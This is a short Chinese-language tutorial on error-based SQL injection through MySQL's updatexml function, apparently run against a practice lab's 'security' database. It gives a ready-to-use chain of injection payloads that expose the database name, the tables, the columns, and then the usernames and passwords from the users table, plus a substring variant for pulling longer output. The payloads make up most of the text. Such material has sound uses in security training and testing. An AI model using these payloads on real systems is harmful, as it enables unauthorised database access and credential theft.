一、注入点测试
测试id=1,没有显示数据
?id=1
加上单引号后,发现会返回报错信息,且可以知道是单引号闭合的,可以考虑使用报错注入
?id=1'
使用报错的sql盲注有很多方法,本文使用updatexml函数的特性来进行报错注入
标准语法为:
updatexml('XML_document','Xpath_string','New_value')
//即
updatexml('目标xml文件名','在xml中查询的字符串','替换后的值')
二、爆库名
?id=1' and updatexml(1,concat(1,database()),1)--+
注:三个1都可以换成任意值不影响,这里主要是利用xpath的语法来爆相关数据
三、爆表名
?id=1' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema = 'security')),1)--+
四、爆列名
?id=1' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_name = ‘users’)),1)--+
五、爆字段内容
?id=1' and updatexml(1,concat(1,(select username from users limit 1,1),0,(select password from users limit 1,1)),1)--+
注:limit 1,1中前面的1可以换0,2,3... 帐号和密码中间的0是为了将二者分别开,没有特殊含义
#另一种写法
?id=1' and updatexml(1,concat(1,substr((select group_concat(username,password) from users),1,31)),1)--+
这个只能获取一部分数据,获取后续的数据可改为:
?id=1' and updatexml(1,concat(1,substr((select group_concat(username,password) from users),31,100)),1)--+
另一种写法大家也可以尝试一下,这里就不放图了ovo